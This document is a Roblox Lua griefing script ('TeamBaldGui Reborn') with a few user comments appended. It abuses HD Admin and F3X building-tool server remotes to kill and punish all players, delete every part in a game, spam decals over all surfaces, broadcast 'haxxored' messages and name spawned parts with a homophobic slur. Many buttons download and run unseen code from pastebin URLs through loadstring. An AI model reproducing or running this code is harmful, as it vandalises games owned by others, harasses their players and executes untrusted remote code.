
Key RequiredUniversal

-- if you skid thiz gui and you not leave me a credit you are a veri bad person :(
local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")
local gui = Instance.new("ScreenGui")
gui.Name = "TeamBaldGuiReborn"
gui.Parent = player:WaitForChild("PlayerGui")
gui.ResetOnSpawn = false
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 500)
mainFrame.Position = UDim2.new(0.5, -200, 0.5, -250)
mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
mainFrame.BorderColor3 = Color3.new(1, 1, 1)
mainFrame.BorderSizePixel = 3
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui
local bg = Instance.new("ImageLabel")
bg.Size = UDim2.new(1, 0, 1, 0)
bg.BackgroundTransparency = 1
bg.Image = "rbxassetid://139296137142213"
bg.ImageTransparency = 0.4
bg.Parent = mainFrame
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 50)
title.BackgroundTransparency = 0
title.BackgroundColor3 = Color3.new(0, 0, 0)
title.BorderColor3 = Color3.new(1, 1, 1)
title.BorderSizePixel = 2
title.Text = "TeamBaldGui Reborn"
title.TextColor3 = Color3.new(1, 1, 1)
title.Font = Enum.Font.SourceSansBold
title.TextScaled = true
title.Parent = mainFrame
local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Size = UDim2.new(1, -10, 1, -60)
scrollFrame.Position = UDim2.new(0, 5, 0, 55)
scrollFrame.BackgroundTransparency = 1
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollFrame.ScrollBarThickness = 10
scrollFrame.Parent = mainFrame
local listLayout = Instance.new("UIListLayout")
listLayout.SortOrder = Enum.SortOrder.LayoutOrder
listLayout.Padding = UDim.new(0, 5)
listLayout.Parent = scrollFrame
local function CreateButton(name)
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1, 0, 0, 40)
btn.BackgroundColor3 = Color3.new(0, 0, 0)
btn.BorderColor3 = Color3.new(1, 1, 1)
btn.BorderSizePixel = 2
btn.TextColor3 = Color3.new(1, 1, 1)
btn.Text = name
btn.Font = Enum.Font.SourceSansBold
btn.TextScaled = true
btn.Parent = scrollFrame
return btn
end
local music1 = CreateButton("Music 1")
local music2 = CreateButton("Music 2")
local music3 = CreateButton("Music 3")
local decal1 = CreateButton("DecalSpam 1")
local decal2 = CreateButton("DecalSpam 2")
local decal3 = CreateButton("DecalSpam 3")
local decal4 = CreateButton("DecalSpam 4")
local discoBtn = CreateButton("Disco")
local hsxxBtn = CreateButton("Hint")
listLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, listLayout.AbsoluteContentSize.Y + 10)
end)
local RequestCommand = replicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
music1.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";music 83768677244386")
RequestCommand:InvokeServer(";Volume 25")
end)
music2.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";music 127653283576622")
RequestCommand:InvokeServer(";pitch 0.74") RequestCommand:InvokeServer(";volume 40")
end)
music3.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";music 110587373430189")
RequestCommand:InvokeServer(";pitch 0.17")
RequestCommand:InvokeServer(";volume inf")
end)
local function DecalSpam(assetId)
local tool
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(unpack(args))
end
local function SpawnDecal(part, side)
local args = {"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}}
_(args)
end
local function AddDecal(part, asset, side)
local args = {"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset}}}
_(args)
end
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") then
task.spawn(function()
for _, face in ipairs(Enum.NormalId:GetEnumItems()) do
SpawnDecal(v, face)
AddDecal(v, assetId, face)
end
end)
end
end
end
decal1.MouseButton1Click:Connect(function() DecalSpam(139296137142213) end)
decal2.MouseButton1Click:Connect(function() DecalSpam(131896798036661) end)
decal3.MouseButton1Click:Connect(function() DecalSpam(73522481447287) end)
decal4.MouseButton1Click:Connect(function() DecalSpam(101173298982351) end)
discoBtn.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";disco")
RequestCommand:InvokeServer(";kill all")
end)
hsxxBtn.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";h THIS GAME IS HAXXORED BY TEAMBALD")
RequestCommand:InvokeServer(";h LMAO TEAMBALD HAXED YOUR GAME LOLZZ")
end)
local sky1 = CreateButton("Skybox 1")
sky1.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/eMFC32H0"))()
end)
local epik = CreateButton("Epik Skeleton Sky")
epik.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/XAgyaQKp"))()
end)
local sky2 = CreateButton("Skybox 2")
sky2.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/tRCYYvR3"))()
end)
local sparklesAll = CreateButton("Sparkles All")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastefy.app/nrNgKPBI/raw"))()
end) local sparklesAll = CreateButton("Joblify")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/0Q1tjkc8"))()
end) local sparklesAll = CreateButton("Fire all")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/MBF1xR9P"))()
end) local sparklesAll = CreateButton("666")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/Zv3QMGj2"))()
end) local sparklesAll = CreateButton("Big Head all")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/uySTmniR"))()
end) local sparklesAll = CreateButton("Germany music")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/54XkwkFr"))()
end) local sparklesAll = CreateButton("TeamBald Rain")
sparklesAll.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.01) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "Get trolled u fagz") -- Here the name of the toad changes
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(50, 50, 50), v.CFrame)
MeshResize(v, Vector3.new(15, 15, 15))
SetMesh(v, "4348287910") -- Here put it A custom mesh
SetTexture(v, "73522481447287") -- X2
SetCollision(v, false)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("73522481447287")
end) local sparklesAll = CreateButton("Realm") -- btw this realm was taked from th0qu1nZ
sparklesAll.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local rc = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
rc:InvokeServer("!btools me")
wait(0.4)
rc:InvokeServer("!punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer("!fogcolor black")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = vectora
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makerealmbase()
local position = CFrame.new(0, 0, 0)
local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
resize(base, Vector3.new(100,1,100), position)
syncmaterial(base, Enum.Material.WoodPlanks)
color(base, Color3.fromRGB(67,67,67))
name(base, "T0qu1nzZlel")
lock(base, true)
local spawnpos = CFrame.new(0,0.5,0)
local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
resize(spawna, Vector3.new(20, 0.001, 20), spawnpos)
name(spawna, "SpawnLocation")
lock(spawna, true)
createdecal(spawna, Enum.NormalId.Top)
setdecal(spawna, "128277505600421", Enum.NormalId.Top) -- ganti decalnya pake decal lu
transparency(spawna, 1)
local pos = CFrame.new(26,12,0)
local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(rules, 0)
setcollision(rules, false)
createdecal(rules, Enum.NormalId.Left)
setdecal(rules, "73522481447287", Enum.NormalId.Left)
color(rules, Color3.new(0, 0, 0))
resize(rules, Vector3.new(4, 40, 45), pos)
end
local function sky()
local position = CFrame.new(0.00, 0.5, -25.80)
local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
makemesh(sky)
syncmeshid(sky, "11560435386")
syncmeshtexture(sky, "0")
syncmeshsize(sky, Vector3.new(3,3,3))
lock(sky, true)
name(sky, "fi bu")
setcollision(sky, false)
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
setanchor(v, false)
end)
end
end
end
local function realm()
sky()
makerealmbase()
end
realm()
wait(3)
RequestCommand:InvokeServer("!res all")
wait(0.3)
RequestCommand:InvokeServer("!res all") RequestCommand:InvokeServer(";music 87174269808530")
RequestCommand:InvokeServer(";pitch 0.13")
RequestCommand:InvokeServer(";volume inf")
end) -- Decal remover
local decalRemover = CreateButton("Decal remover")
decalRemover.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/R0hwX9SR"))()
end)
-- Mario.EXE
local marioExe = CreateButton("Mario.EXE")
marioExe.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/dDuAFwLx"))()
end)
-- c00lify
local coolify = CreateButton("c00lify")
coolify.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/srFEQUrN"))()
end)
-- Explode all
local explodeAll = CreateButton("Explode all")
explodeAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/Hm4N5Efd"))()
end)
-- Smoke all
local smokeAll = CreateButton("Smoke all")
smokeAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/qRsg2hii"))()
end)
-- Spin all
local spinAll = CreateButton("Spin all")
spinAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/7RVCmBD0"))()
end)
-- Get F3X
local getF3X = CreateButton("Get F3X")
getF3X.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/FjmUyeH3"))()
end) local getF3X = CreateButton("Bypassed Audio")
getF3X.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";music 112226782551255")
RequestCommand:InvokeServer(";pitch 0.12") RequestCommand:InvokeServer(";volume 3")
end) local getF3X = CreateButton("Bypassed Audio2")
getF3X.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";music 135125762857428")
RequestCommand:InvokeServer(";pitch 0.2") RequestCommand:InvokeServer(";volume 3")
end) local getF3X = CreateButton("Anime Music")
getF3X.MouseButton1Click:Connect(function()
RequestCommand:InvokeServer(";music 85199696816042")
RequestCommand:InvokeServer(";pitch 0.12") RequestCommand:InvokeServer(";volume 3")
end) local getF3X = CreateButton("Bypassed Decal")
getF3X.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("119814853791278") -- Replace with your decal ID
end) local getF3X = CreateButton("Bypassed Decal2")
getF3X.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("106773523140180") -- Replace with your decal ID
end)
local getF3X = CreateButton("Shedletsky")
getF3X.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/b28ffptw"))()
end)
local getF3X = CreateButton("TeamBald Particals")
getF3X.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/T1KKfyrN"))()
end)



Hi :3
hey
i think thats my scrept
@roadblockscherries ye iz yiu zcript veri gud
grettings
my old theme xd
a
u skidded my relm >:(((((((((((((((
@T0qu1nzZ sorry i will put creditz :(
._·